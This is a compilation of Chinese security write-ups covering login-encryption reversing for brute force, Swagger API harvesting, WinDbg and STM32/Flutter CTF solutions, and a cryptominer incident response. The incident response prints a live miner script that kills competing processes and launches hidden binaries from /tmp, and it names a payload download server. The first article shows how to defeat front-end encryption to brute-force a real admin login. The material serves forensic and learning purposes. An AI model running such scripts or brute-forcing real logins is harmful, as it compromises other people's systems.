某后台管理系统加密参数逆向分析
前言 在我们日常的渗透中经常会遇到开局一个登录框的情况,弱口令爆破当然是我们的首选。但是有的网站会对账号密码等登录信息进行加密处理,这一步不由得阻碍了很多人的脚步。前端的加解密是比较常见的,无论是 web 后台还是小程序,都常常存在加解密传输,签名防篡改等机制,会使很多渗透人员没有办法直接对参数的值进行更改,大大增加了攻击者的攻击成本。本文将一个带验证码的后台实站案例与大家分享。 正文 发包逻辑分析: 开局一个登录框,随便输入一段账号密码跟验证码进行抓包 提交错误的验证码跟账号密码弹出了验证码错误!的提示,说明这个数据包就是校验账号密码跟验证码的数据包 查看一下参数,账号,验证码都是明文,密码被加密了 搜索参数关键词password,可以看到一个带有login的js文件,双击进入文件。 在文件内部总共有10个password关键词,全部打上断点发包校验。 断点在196行断了下来,t.param.password是明文。经过Object(i["a"])函数运行之后就成了加密密文。证明Object(i["a"])便是加密函数!后续便是把所有需要拿去爆破的明文加密成密文便可绕过前端加密直接进行暴力破解。 扣加密函数: 进入到加密函数内部查看 可以看到函数内部有个s函数,将断点下到156行,查看传进来的t是什么值,以及经过s函数运行之后的返回值又是什么呢。 t是传进来的明文,返回值是加密之后的值。 观察一下代码,可以看到"93a9"和 "7d92",把代码拉到第一行,这个站点用的webpack打包技术。 那么webpack又是什么呢? WebPack打包 webpack是一个基于模块化的打包(构建)工具, 它把一切都视作模块 概念: webpack是 JavaScript 应用程序的模块打包器,可以把开发中的所有资源(图片、js文件、css文件等)都看成模块,通过loader(加载器)和plugins(插件)对资源进行处理,打包成符合生产环境部署的前端资源。所有的资源都是通过JavaScript渲染出来的。 如果一个页面大部分是script标签构成,80%以上是webpack打包。 webpack打包简介 多个JS文件打包: 如果模块比较多,就会将模块打包成JS文件, 然后定义一个全局变量 window["webpackJsonp"] = [ ],它的作用是存储需要动态导入的模块,然后重写 window["webpackJsonp"] 数组的 push( ) 方法为 webpackJsonpCallback( ),也就是说 window["webpackJsonp"].push( ) 其实执行的是 webpackJsonpCallback( ),window["webpackJsonp"].push( )接收三个参数,第一个参数是模块的ID,第二个参数是 一个数组或者对象,里面定义大量的函数,第三个参数是要调用的 寻找加载器 加载器一般是使用call或者apply方法 call() 方法会立即执行这个函数,接受一个多个参数,参数之间用逗号隔开; apply()方法会立即执行这个函数,接受一个包含多个参数的数组; 我们找类似i("1ff3")这种的字眼,然后打断点,刷新页面进断点,一般就可以找到加载器了 断点断下来之后直接进入加载器函数 可以看到d函数里面明显的使用了call函数。 直接全扣整段webpack代码。 定义全局变量调用模块,运行代码 var 君主; 报错windows未定义。直接补上window对象。 var window={}; 在导出的模块里面没有寻找到我们需要的“7d92”模块 复制donate~login.06871226.js文件到ide折叠,将其7d92模块复制到我们有加载器的模块数组里面。 调用7d92模块 报错了TypeError: Cannot read properties of undefined (reading 'call')模块缺失的错误。 打印传进去的模块,看看是缺失哪个模块咱们直接补。 缺失1ff3模块 缺失f28c模块 浏览器全局搜索f28c,模块f28c在chunk-vendors.db1c4c0d.js文件里面。 缺失143d模块,143d模块在donate~login.06871226.js文件里面。 后续报错的93a9,ea6a模块也都在donate~login.06871226.js文件里面。 没有报错了,调用当前函数。加密值出来了。
swagger接口未授权怎么玩?
今天来分享下我是如何自动提取 swagger 中配置的 API 接口的,在此之前,先来了解下 swagger 是什么?下面是 chatgpt 的回答: 总结起来就是一套方便开发人员设计、构建 API 的框架,国内外应用非常广泛,大家在日常信息收集的时候经常会遇到这样的系统,比如通过谷歌语法可以轻松找到: 还可以使用网络空间搜索引擎,比如 fofa: 足以看出使用量是非常广泛来,当然,还有很多是隐藏在网站目录中的,需要通过目录枚举来发现这类系统。随便打开一个看看这个系统长什么样: 上图是配置的一些 API 接口信息,点击其中任意一个接口,会有该 API 详细的信息,比如: 手工测试时,可以根据接口的描述,进行针对性的测试,即方便了开发人员,如果存在未授权访问的情况下也方便的攻击者,而我们作为白帽子,这种系统可以扩展我们测试范围,从而发现更多问题。 所以对于企业而言,这种系统,可以设置访问权限,仅限相关开发人员访问,或者将其设置内网访问,尽量不要将其映射至外网,从而降低这类信息比恶意利用的风险。 今天的主要目的是如何通过编写脚本自动化提取其中的接口,从而实现自动化测试,适用于大量目标的测试。 通过查看网站访问的数据包,可以发现所有接口信息是通过 api 返回数据,再通过前端的 javascript 进行格式化成方便操作的页面,所以我们只需要找到那个返回数据的接口,进行分析提取即可,如图: 上面的案例是 openapi 的 3.0 版本,下面是 swagger 2.0 版本: 经过分析,发现,不同版本的格式有略微的差别,所以在做自动化分析的时候,需要根据不同版本做相应的处理。 从上面的案例同样可以看出,返回接口数据的接口不太一样,第一个是 swagger.json,第二个是 swagger-docs,所以在收集这类数据接口的时候,需要指定常见接口名称和路径的字典,从而发现更多可以返回 API 数据的接口。 下面分别以这两个版本的接口作为案例,解析其中的 API,然后在参数部分添加默认值,输出 API 接口列表,从而应用在其他漏洞扫描器中进行漏洞探测。 1、基于 openapi 3.0 版本,提取接口列表 核心其实就是写一个函数将接口数据中的参数增加默认值后输出即可,一个完整的接口配置如图: 其中 statusCode 是路径中的参数,可以将默认值设为 1,get 表示该接口是通过 GET 方法请求,parameters 就是需要配置的接口参数,name 就是参数的名称,schema 就是参数的类型是数字,我们在自动提取的时候,可以根据参数的类型设置默认值,也可以直接都设置成数字,根据自己的需要来。 简单写了一个解析函数,输出的结果如图: 2、基于 swagger 2.0 版本,提取接口列表 方法其实大同小异,只是格式不同而已,解析出的格式如图: 关于参考脚本可以前往【渗透测试那些事儿】知识星球获取,由于代码并不成熟,所以就不公开分享了,互联网上也有同类型的脚本可以参考: https://github.com/jayus0821/swagger-hack在实现解析单个脚本的能力之后,那么就是如何收集更多类似接口,这里推荐 nuclei 的 POC 模板,也可以根据自己的经验进行添加: https://github.com/projectdiscovery/nuclei-templates/blob/e6c20a24de75a63b3ce01fd25925aef4604cd34c/http/exposures/apis/swagger-api.yaml#L47 比如我们刚才测试的目标: 第一个目标测试出了一个 js 文件,第二个没有测试出来,说明这个 POC 中配置的字典并不全面,这种情况,自己可以将未收录的路径添加到 POC 中,从而扩展工具的能力。
【WinDbg】学习以及在CTF中解题
1、WinDbg介绍 WinDbg是一款Windows强大的调试器,可以调试0和3环的程序。 在实际开发中,可以调试我们的错误程序,从而定位关键代码,进行程序代码修复。 WinDbg 是一种调试器工具,由微软公司开发,用于分析和调试 Windows 操作系统和应用程序。它提供了强大的调试功能,可以帮助开发人员识别和解决各种软件问题。 以下是 WinDbg 的一些主要特点和功能: 内核级和用户级调试支持: WinDbg 可以用于内核级别的调试(如 Windows 内核、驱动程序等)和用户级别的调试(如应用程序、DLL 等),使开发人员能够全面分析和调试整个系统栈。 符号和源代码支持: WinDbg 可以与符号文件(PDB 文件)结合使用,以获得更详细的调试信息,包括函数名、变量名和源代码行号等。这对于理解和追踪代码执行路径非常有帮助。 调试器扩展: WinDbg 支持通过扩展插件(例如 JavaScript 脚本)来增强其功能。这些扩展可以自定义命令、自动化任务、数据分析等,使调试过程更高效和灵活。 远程调试: WinDbg 支持在远程计算机上进行调试,这对于分析在另一台计算机上发生的问题非常有用。 内存分析: WinDbg 可以帮助分析内存转储文件(如 minidump、完全转储等),以了解程序崩溃或异常终止的原因。 性能分析: WinDbg 提供了一些性能分析工具和命令,可以帮助开发人员识别和解决性能瓶颈问题。 脚本和自动化: WinDbg 具有自己的脚本语言(类似于 JavaScript),允许开发人员编写脚本来执行自动化任务,例如批量调试、数据提取等。 WinDbg 是一款功能强大且灵活的调试器工具,可用于分析和解决各种 Windows 软件问题。它在软件开发、故障排除和性能优化方面都扮演着重要角色,并广泛应用于开发人员和系统管理员的工作中。 2、Windbg安装 Windbg 10需要下载WindowsSDK 然后进行安装即可。 安装这一步属于基础,按照搜索到的步骤进行安装即可 Windbg 10 自带了帮助文档 ‍ ‍3、dmp文件介绍 .dmp 文件是一种用于存储系统或应用程序崩溃时的信息的内存映射文件。 dmp 文件通常包含了在崩溃或异常事件发生时系统或应用程序的内部状态信息和堆栈跟踪信息,它们对于诊断问题和进行调试非常有用。 当程序运行到某些重大错误的时候,windows会帮我们生成一个.dmp文件,这里的dmp就是文件进程的内存镜像,可以把程序的执行状态通过调试器保存在其中。 可以使用任务管理器进行生成 创建转储文件,即可生成对应的dmp文件 ‍4、pdb文件介绍 .pdb 文件是用于存储调试信息的程序数据库文件。 pdb 文件包含了有关源代码的符号信息,如变量名称、函数名称、类型信息以及源代码文件和行号的映射。这使得调试器能够将二进制文件中的地址映射回源代码。 ‍5、Windbg基础命令 提供debugger.chm文件(下载安装Windbg10自带) assets/debugger-20231210184705-cedqbbl.chm 命令已经很全了,这里只总结常用的指令。 windbg的指令分成以下几类 标准命令 元命令 扩展指令 标准命令相当于是内建在windbg中的默认指令。 元命令则是提供给标准指令中没有的指令,调用时开头要加上. 符号。 扩展指令则是用于实现针对特定目标的调试功能,使用前要加上! 符号,其完整的调用格式为: !nameofExtentModule.nameofExtentCommand 参数 其中如果扩栈模块已经加载了,那么nameofExtentModule. 不是必须的,windbg会直接查找。 5.1 执行、调试相关 dt The dt command displays information about a local variable, global variable or data type. This can display information about simple data types, as well as structures and unions. dt命令看可以显示局部变量、全局变量或数据类型的信息。它也可以仅显示数据类型。即结构和联合(union)的信息。 #查看当前线程块 dt _teb d 查看数据 默认格式如下 d [type] [address range] d这个命令能够查看指定地址和内存的内容,其中常用的有dd(使用双字节来查看内存内容),如: dd 77400000 !peb 可以查看当前进程中的peb的基本情况。 bp The bp, bu, and bm commands set one or more software breakpoints. You can combine locations, conditions, and options to set different kinds of software breakpoints. 指令格式如下 bp <address> 常见的下断点的方式。对应的清除断点的方式为bc num,而列出断点的方法为bl g 最基本的指令,运行当前程序。 u 将指定的地址反汇编: u[u|b] address(.表示当前的程序执行地址)uu Address L[Length] 其中uu和ub可以指定当前反汇编的长度(暂时没看出什么区别,似乎是ub的话使用.会自动计算从函数开始的地址进行汇编)。可以使用以下的语法进行长度的指定 使用L表示后面的数字表示的是长度 r 查看当前的寄存器 同时可以修改当前的寄存器,比如说: r @eax=1 将当前的eax寄存器的值修改成1 ed ed # ed [address][content] 将当前的内存修改成指定值 例如 ed 08041000 11111111 将地址08041000处的内容修改成11111111 p 常见指令,单步步过。除此之外还有: p 2 // 2为步进数目 pc // 执行到下一个函数调用处停下 【Step to Next Call】 pa 7c801b0b // 执行到7c801b0b地址处停下 【Step to Adress】 t 单步步入 k 查看栈帧调用顺序 5.2 调试辅助相关 .sympath 表示当前的符号加载情况。符号能够帮助我们更加方便的分析程序。 .sympath+ D:\Filename 将D:\Filename添加到符号查找的路径中。 关于符号,其中lm 指令可以检查当前的文件中是否加载了符号文件: deffered:表示延迟绑定 pdb symbols:表示已经加载当前符号 .load .load dllname 导入指定名字的dll文件,常常用于导入插件 5.3 漏洞利用相关 !py mona mona 是一个好东西哈,可以用来生成ROP ,查找Gadget ,进行漏洞挖掘等等。 生成ROP Chain !py mona rop -m "module" 利用module生成ROP Chain ‍ 6、实战:windbg分析题目 这里使用了WindbgPreview来分析这道dmp 题目描述: 赛题描述:explorer.exe进程已经被木马感染了,现已经获取explorer.exe进程的dump文件,尝试从DUMP文件中找到flag 打开的效果: 使用第一条命令: !analyze -v !analyze -v 是 WinDbg 调试器中的一个命令,用于自动分析崩溃的原因。这个命令会执行一些步骤来帮助你找到崩溃的根本原因,包括输出调用栈、异常信息、可能引起问题的模块以及其他相关信息。 !analyze 是命令,-v表示详细输出的参数 发现没什么信息,尝试使用 命令 lm,列出当前加载的模块 根据题目描述,感觉像是注入了恶意dll 输出了很多结果 这里有个小技巧,加载了对应符号的pdb,可以先排除 这么多dll,怎么分析? 这里再教一个小技巧,系统dll的地址一般都很高。 这里就有一个很可疑的dll 地址这么低,和系统dll的地址显得格格不入 猜测这是可疑dll,使用命令进行分析 start    end        module name 10000000 1000e000   stolen     (deferred) 将光标移动到stolen,windbgpreview会输出一段信息: 或者运行命令: lmv m stolen lmv m 是 WinDbg 调试器中的一个命令,用于显示指定模块的详细信息。该命令可以帮助你查看模块的基地址、文件名、调试符号等信息。0:030> lmDvmstolen Browse full module list start    end        module name 10000000 1000e000   stolen     (deferred)              Image path: C:\Users\Administrator\Desktop\stolen.dll    Image name: stolen.dll    Browse all global symbols  functions  data    Timestamp:        Thu Apr 20 11:33:18 2017 (58F82BFE)    CheckSum:         0000E4F8    ImageSize:        0000E000    Translations:     0000.04b0 0000.04e4 0409.04b0 0409.04e4    Information from resource tables: 尝试寻找: C:\Users\Administrator\Desktop\stolen.dll 发现没有。。。 在内存中也没有数据,因为还没映射 那么我们就查看整个内存空间布局,看看能不能找到相应的映射数据,(在dll对应的范围内) !vadump !vadump 是 WinDbg 调试器中的一个命令,用于显示虚拟地址空间 (Virtual Address Space) 的详细信息。 该命令将输出当前进程的虚拟地址空间中每个 VAD(虚拟地址描述符)的信息。 VAD 是操作系统内核用于管理进程虚拟内存的数据结构之一。 通过使用 !vadump 命令,可以查看每个 VAD 的起始地址、结束地址、保护标志、镜像文件名等信息。 BaseAddress: 10001000 RegionSize:  000062f4 flag如下: flag{acaa16770db76c1ffb9cee51c3cabfcf} ‍
记一次挖矿病毒的溯源
ps:因为项目保密的原因部分的截图是自己在本地的环境复现。 1. 起因 客户打电话过来说,公司web服务异常卡顿。起初以为是web服务缓存过多导致,重启几次无果后觉得可能是受到了攻击。起初以为是ddos攻击,然后去查看web服务器管理面板时发现网络链接很少,但是cpu占用高达99%,于是便怀疑是中了挖矿病毒。 2.排查可疑进程 首先发现cpu占用率过高,初步怀疑是挖矿病毒。于是上ssh开始排查 使用top命令查看进程占用列表。发现并没有占用过高的程序,但是查询cpu占用率确实是99%。怀疑是隐藏了linux进程。 以为是做了进程隐藏,于是写了个python脚本遍历/proc目录。/proc目录是一个虚拟文件系统,用于提供有关系统内核和运行进程的信息。该目录中包含一系列以数字命名的子目录,每个子目录代表一个正在运行的进程。在这些子目录中,可以访问有关进程状态、内存使用情况、打开的文件列表等信息。 该脚本遍历proc目录,查询ps aux不显示的进程id,然后显示打印出来。 import os def get_max_pid():    pid_list = [int(pid) for pid in os.listdir('/proc') if pid.isdigit()]    return str(max(pid_list)) def get_existing_process_ids(max_pid):    process_ids = []    for pid in range(1, int(max_pid) + 1):        if os.path.exists('/proc/' + str(pid)):            process_ids.append(str(pid))    return process_ids def get_ps_aux_process_ids():    process_ids = []    output = os.popen('ps aux').read()    lines = output.split('n')    for line in lines[1:]:        if line.strip() != '':            pid = line.split()[1]            process_ids.append(pid)    return process_ids max_pid = get_max_pid() existing_process_ids = get_existing_process_ids(max_pid) ps_aux_process_ids = get_ps_aux_process_ids() for pid in existing_process_ids:    if pid not in ps_aux_process_ids:        print('Hidden PID {}'.format(pid)) emmmm, 但是效果不是很理想,有一大部分进程都是僵尸进程。 然后一个一个排查后效果不佳,并无发现什么可疑进程。 3 排查网络链接 于是打算从网络链接中入手,使用netstat-antp进行排查。发现有进程在链接47.130.146.28这个ip地址,然后拿这个ip地址反查域名。 发现是绑定的log.softgoldinformation.com这个域名。 然后搜索这个域名,发现之前也有人排查过了。 然后发现其实还有其他ip这里就不一一截图了。moneroocean,xmrig,kdevtmpfsi,mysqlserver等病毒基本上都有在链接。(服务器基本上已经中了n种病毒了。基本上与各种矿池都有链接。) 然后协商客户运维,设置只允许服务器访问国内ip地址,这一步主要是为了能通畅的链接ssh。因为挖矿病毒一般都是挖取xmr,xmr使用的基本上都是cpu,在挖矿进程链接不了矿池的情况下通常都不会产生cpu占用。果然禁止服务器出网后,cpu占用率就下来了。(也是为了防止服务器继续链接挖矿者的c2) 4 寻找漏洞 问过客户服务器有装什么软件,然后说是为了方便做web数据库的缓存,半个月之前装了redis。 使用ps aux|grep redis查看redis端口。 尝试空密码链接成功。基本确定入口点是redis。 5 补救措施 发现基本已经在跑着几个挖矿的病毒了。这里不确定能不能把后门排查完,只能和客户沟通说先排查一遍看看。(因为挖矿木马一般都会有后门,在清理挖矿程序后,后门会自动检查挖矿程序是否运行,如果不运行的话会重新下载一个挖矿程序然后再次运行。所以在完全清除挖矿程序后一段时间内,cpu占用率不飙升就可以说明清理成功。反之则说明挖矿病毒并未清理成功。) 首先查看一下定时任务。 发现并无异常。 cat /etc/crontab 然后查看tmp目录,发现有sh文件,这里抽取一个sh来分析,基本上/tmp出现这种都可以确定服务器被挖矿了。同理的还有/var/tmp目录。 ls -la /tmp 随便打开一个配置文件就能发现,攻击者的矿池地址和钱包地址。这种情况基本把tmp目录全部清除即可。 下面是一个solr的挖矿病毒脚本,这里只是kill掉了挖矿同行的进程和定时任务。 #!/bin/sh export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin while [ 1 ] do    killall /tmp/*    killall /var/tmp/*   crontab -l | sed '/195.3.146.118/d' | crontab -   crontab -l | sed '/cf.sh/d' | crontab -   crontab -l | sed '/xms/d' | crontab -   crontab -l | sed '/kwork.sh/d' | crontab -   crontab -l | sed '/cyberium/d' | crontab -   crontab -l | sed '/newdat/d' | crontab -    rm -f /tmp/*    ps aux | grep -v grep | grep 'javaupDates' | awk '{print $2}' | xargs -I % kill -9 %    ps aux | grep -v grep | grep 'givemexyz' | awk '{print $2}' | xargs -I % kill -9 %    ps aux | grep -v grep | grep 'dbused' | awk '{print $2}' | xargs -I % kill -9 %    ps aux | grep -v grep | grep 'kdevtmpfsi' | awk '{print $2}' | xargs -I % kill -9 %    ps aux | grep -v grep | grep 'kinsing' | awk '{print $2}' | xargs -I % kill -9 %    ps aux | grep -v grep | grep -v 27.1 | grep -v 222.122 | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %    ps aux | grep -v grep | grep -v 27.1 | grep -v 222.122 | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %    ps aux | grep -v grep | grep -v 27.1 | grep -v 222.122 | grep 'urlopen' | awk '{print $2}' | xargs -I % kill -9 %   pgrep JavaUpdate | xargs -I % kill -9 %   pgrep kinsing | xargs -I % kill -9 %   pgrep donate | xargs -I % kill -9 %   pgrep kdevtmpfsi | xargs -I % kill -9 %   pgrep trace | xargs -I % kill -9 %   pgrep sysupdate | xargs -I % kill -9 %   pgrep mysqlserver | xargs -I % kill -9 %    ps aux | grep -v grep | grep 'trace' | awk '{print $2}' | xargs -I % kill -9 %   pkill xmrig   pkill sysupdate   pkill sysguard   pkill kthreaddk   pkill networkservice   pkill kdevtmpfsi   pkill watchbog    p=$(ps auxf|grep solrd|awk '{if($3>=60.0) print $2}')    name=""$p    if [ -z "$name" ]    then       pkill solrd        ps aux | grep -v grep | grep -v 'java|redis|weblogic|solr|mongod|mysql|oracle|tomcat|grep|postgres|confluence|awk|aux|sh' | awk '{if($3>60.0) print $2}' | xargs -I % kill -9 %       nohup /tmp/.solr/solrd &>>/dev/null &        sleep 30       nohup /tmp/.solr/genshin &>>/dev/null &        sleep 30    else         :    fi done • 查看/etc/passwd 是否有恶意用户 cat /etc/passwd 查看ssh是否有后门用户 (因为是redis的洞 很有可能会写入sshkey) ls -la /root/.ssh/ 然后用clamscan扫描一遍 clamscan -r / 设置redis密码登录。(这一步是由客户人员配置) 然后删除tmp目录下的脚本文件 rm -rf /tmp/*.sh 6 脚本分析 这里抽取其中的一个sh脚本讲一下挖矿病毒逻辑,因为脚本较大,所以这里是抽取部分代码过一遍逻辑,实际上常见的挖矿病毒脚本基本都差不多是一个逻辑,所以这里抽取了一个。 首先脚本的逻辑是从kill掉其他挖矿同行进程开始 然后写了一个定时任务 然后判断目标系统位数,到http://94.103.87.71/去下载病毒程序 这也就是最终的病毒文件 果不其然 最后是自动清理本身 总结 这次事故主要是因为开发人员不懂安全,直接开放redis数据库在公网并且不设置登录密码。虽然是内网服务器但是万幸做好了隔离。不然挖矿病毒肯定会在内网进行传播。 ps:听说客户之后去问了开发小哥,开发小哥说随便在网上找的教程,教程上是这样配置的就直接复制粘贴上去。所以建议大家在配置东西的时候尽量去查一下文档。
STM32在CTF中的应用和快速解题
题目给的是bin文件,基本上就是需要我们手动修复的固件逆向。 如果给的是hex文件,我们可能需要使用MKD进行动态调试 主要还是以做题为目的 详细的可以去看文档:https://pdf1.alldatasheet.com/datasheet-pdf/view/201596/STMICROELECTRONICS/STM32F103C8T6.html SVD文件下载:https://github.com/posborne/cmsis-svd 本文参考了网上多篇文章,最终汇总在一篇,对这道新的STM32题进行解题。 IDA分析设置 1、基础设置 STM32主要信息: 内核:ARM32位Cortex-M3 CPU ARM Little-endian Cortex-M架构属于ARMv7-M IDA32位打开 ARM little-endian ‍ 点击ok之后进入 flash的映射地址是 0x08000000 ~ 0x0807ffff (512KB) flash就是我们装代码的地方,也是STM32入口 下面这张图来自STM32中文参考手册 从这张表中,可以了解的信息是,在偏移4的位置存储的是RESET,并且是固定的。 Reset就是充电就会执行并进入的地方,因此将其当做固件入口 在IDA偏移为4的地方,按下“D”键进行转换 得到了RESET的地址:0x80004D1 可以看到为奇数,说明是thumb指令 按下 "G" 键进行跳转 然后神奇的一幕发生了 自动识别了很多函数 其实这没有固定的套路,我们跟踪跳转,一步一步的分析,最终会到达关键步骤 分析函数 :sub_8000260 发现爆红了,需要我们手动添加一些段 Flash Memory: 0x8000000 ~ 0x801FFFF (128K) SRAM: 0x20000000 ~ 0x20004FFF (20K) Peripherals: 0x40000000 ~ 0x40023400 ‍ 2、添加段-SRAM 单片机内存被总分为flash(rom)和sram(ram),flash里面的数据掉电可保存,sram中的数据掉电就丢失,sram的执行速度要快于flash,flash容量大于sram 单片机的程序存储分为code(代码存储区)、RO-data(只读数据存储区)、RW-data(读写数据存储区) 和 ZI-data(零初始化数据区) Flash 存储 code和RO-data Sram 存储 RW-data 和ZI-data 所以,SRAM段需要我们自己添加 [0x20000000,0x2000ffff] SRAM: 0x20000000 ~ 0x20004FFF (20K) 存放程序动态执行时的变量 ‍ ‍3、添加段-Peripherals Peripherals: 0x40000000 ~ 0x400234ff    #这里还是改为了0x400234ff 而不是 0x40023400 在实战中发现多有多余的爆红,因此范围扩大总没错 外设寄存器的映射地址,程序通过读写这些内存地址实现对外围设备的控制 Peripherals 段中包含了我们要了解的寄存器 ‍ 4、恢复中断向量表 地址0x8000000 -0x80000eb 存储了中断向量表的相关信息 使用python脚本,主要功能是删除旧的分析,添加dword类型分析 for i in range(0x8000000,0x80000eb,1): del_items(i) for i in range(0x8000000,0x80000eb,4): create_dword(i) print("ok") 可以看到均已恢复 修复完成后,发现了很多重复的地址,比如:0x8000519 这些函数并没有定义 跳转过去,将其全部生成对应的函数,使用(P 键) 官方图: ‍ 5、恢复符号 bindiff来恢复符号表 如果有闲工夫或者是对stm32的开发非常上手,就可以自己写一个demo,尽可能多的使用到各种库函数,然后编译出一个axf文件。我这里的话,由于好久没有用stm32了,开发起来有些生疏,所以就不自己手写了,我选择捡现成的项目,编译出axf文件 可以多选几个例程,能涵盖更多的库函数,将这些axf文件用IDA打开,然后生成idb文件。然后在我们的目标bin文件中,使用bindiff加载idb文件。 网上随便找一个,下载axf文件 选择一个idb文件,然后会出现这样一个比较界面: 选取similarity大的函数导入到bin文件中 导入之后实际上就能恢复大部分的函数名了。 ‍ ‍6、恢复外设 导入SVD文件,恢复外设结构 在IDA7.5以后,就自带SVD文件加载插件了,如下图: 打开之后如下: 我们可以自行下载相应的SVD文件,或者加载GitHub上的仓库,我这里选择自行下载然后在本地加载。 下载链接是这个: assets/stm32-svd-main-20231209212159-rbquvf5.zip选中想要加载的svd文件之后,IDA就会自动恢复bin文件中的外设结构,体现在伪代码中就是这样: (在这题中好像没什么用) ‍ ‍7、解题 基本上做完上面的操作后 STM32就能看了 进入main函数 继续分析 题目说的是要找key 但是发现Key没有值。。。也就是说要么动调要么爆破,给了密文,就差了key 因此写出解密脚本 先转换一下 int main() {      int  v19[8] = { 0 };    v19[0] = 0xF4DD0F64;    v19[1] = 0x5173B9F8;    v19[2] = 0xC7D238B2;    v19[3] = 0x9B9FCA8;    v19[4] = 0x286D3C51;    v19[5] = 0x429DE399;    v19[6] = 0x8084307B;    LOWORD(v19[7]) = 0x9175;    for (size_t i = 0; i < 8; i++)   {        for (size_t j = 0; j < 4; j++)       {            printf("%02x ", (v19[i] >> 8 * j)&0xff);       }   }    return 0; } ‍写出解密脚本: from itertools import product from Crypto.Cipher import ARC4 xorkey ="flag{tH14.l4_F@kKkEeeE---f41g}" enc = bytearray([0x64,0x0f,0xdd,0xf4,0xf8,0xb9,0x73,0x51,0xb2,0x38,0xd2,0xc7,0xa8,0xfc,0xb9,0x09,0x51,0x3c,0x6d,0x28,0x99,0xe3,0x9d,0x42,0x7b,0x30,0x84,0x80,0x75,0x91]) l = list(range(0x20,0x7f)) for k in product(l, repeat=4):    key = bytearray(k)    res = ARC4.new(key).decrypt(xorkey.encode())    if res == enc:        print('get')        print(key)        exit(0) 使用C语言爆破会更快 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <unistd.h> #include <openssl/arc4.h> #define XOR_KEY "flag{tH14.l4_F@kKkEeeE---f41g}" #define ENC_SIZE 29 int main() {    uint8_t enc[ENC_SIZE] = {0x64, 0x0f, 0xdd, 0xf4, 0xf8, 0xb9, 0x73, 0x51, 0xb2, 0x38, 0xd2, 0xc7, 0xa8, 0xfc, 0xb9, 0x09, 0x51, 0x3c, 0x6d, 0x28, 0x99, 0xe3, 0x9d, 0x42, 0x7b, 0x30, 0x84, 0x80, 0x75, 0x91};    int l[] = {0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2a, 0x2b, 0x2c, 0x2d, 0x2e, 0x2f,               0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3a, 0x3b, 0x3c, 0x3d, 0x3e, 0x3f,               0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4a, 0x4b, 0x4c, 0x4d, 0x4e, 0x4f,               0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5a, 0x5b, 0x5c, 0x5d, 0x5e, 0x5f,               0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6a, 0x6b, 0x6c, 0x6d, 0x6e, 0x6f,               0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7a, 0x7b, 0x7c, 0x7d, 0x7e, 0x7f};    int l_size = sizeof(l) / sizeof(int);    uint8_t key[4];    uint8_t dec[ENC_SIZE];    for (int i = 0; i < l_size; i++) {        for (int j = 0; j < l_size; j++) {            for (int k = 0; k < l_size; k++) {                for (int m = 0; m < l_size; m++) {                    key[0] = l[i];                    key[1] = l[j];                    key[2] = l[k];                    key[3] = l[m];                    ARC4_CTX ctx;                    ARC4_set_key(&ctx, 4, key);                    ARC4(&ctx, ENC_SIZE, enc, dec);                    if (memcmp(dec, XOR_KEY, ENC_SIZE) == 0) {                        printf("get\n");                        printf("%c%c%c%c\n", key[0], key[1], key[2], key[3]);                        exit(0);                   }               }           }       }   }    return 0; } 爆破出秘钥: d4@d
【flutter对抗】blutter使用+ACTF习题
最新的能很好反编译flutter程序的项目 ‍1、安装 git clone https://github.com/worawit/blutter --depth=1 然后我直接将对应的两个压缩包下载下来(通过浏览器手动下载) 不再通过python的代码来下载,之前一直卡在这个地方。 如果读者可以正常运行init_env_win.py,手动这一步可以省略。 cd .\blutter\ python .\scripts\init_env_win.py 再次运行就可以安装成功 ‍ 2、blutter反编译使用 运行该工具,进入目标文件夹 提供libapp.so 和 libflutter.so 的目录 python blutter.py C:\Users\Le\Desktop\flutter\chall\lib\armeabi-v7a .\output 然后报错。。。 但是问题不大,好像是我们的架构不支持,我们换一个 再次运行,发现正在下载对应Dart版本的信息 全程代理! 要不然还会报错 正常情况下: 安装完成后,再次运行命令: 报错:0x22说明权限不够,使用管理员模式运行即可 反编译成功 查看文件目录: 到此,blutter模块反编译flutter成功! ‍ 3、IDA恢复libapp.so符号 拖进IDA64 发现符号全无,不利于我们分析,此时blutter工具的用法就体现出来了 运行生成的脚本: 见证奇迹的时刻到了 ‍ 4、分析 flutter中:onTap函数是按钮点击响应函数,CTF中以此作为入口进行分析 进入1DE500函数 进入分析发现一堆代码 目前不知道什么加密,因为“面目全非”(有256,%符号) 使用blutter生成的frida脚本,对该函数进行hook,观察其返回结果 frida -U -f com.example.flutter_application_1 -l blutter_frida.js hook目标函数 然后发现没有触发 猜测flag长度有限制,后面知道了原来是模拟器有bug,我换了真机才可以 ‍ 得到了比较的数组,也就是密文 Unhandle class id: 46, TypeArguments GrowableList@750038d0f1 = [  188698,  0, {    "key": "Unhandle class id: 46, TypeArguments" },  34, {    "key": [      184,      132,      137,      215,      146,      65,      86,      157,      123,      100,      179,      131,      112,      170,      97,      210,      163,      179,      17,      171,      245,      30,      194,      144,      37,      41,      235,      121,      146,      210,      174,      92,      204,      22   ] },  0,  0,  0 ] ‍ 接下来使用IDA进行so的一个动调 选择same 找到module 运行程序 读者可以使用高级语言来看,为了理解更深刻,我这里采用了汇编来看 ‍ 可以看到比较256次 RC4的经典特征 ‍ 在异或出添加输出断点: 搜索指令  EOR             X5, X3, X2 import idc print(idc.get_reg_value("X2"),",",end="") 拿到异或的所有值 xor = [14, 14, 68, 80, 29, 201, 241, 46, 197, 208, 123, 79, 187, 55, 234, 104, 40, 117, 133, 12, 67, 137, 91, 31, 136,       177, 64, 234, 24, 27, 26, 214, 122, 217] 然后还有密文 这里使用了oacia师傅的脚本 final = [184, 132, 137, 215, 146, 65, 86, 157, 123, 100, 179, 131, 112, 170, 97, 210, 163, 179, 17, 171, 245, 30, 194,         144, 37, 41, 235, 121, 146, 210, 174, 92, 204, 22] xor = [14, 14, 68, 80, 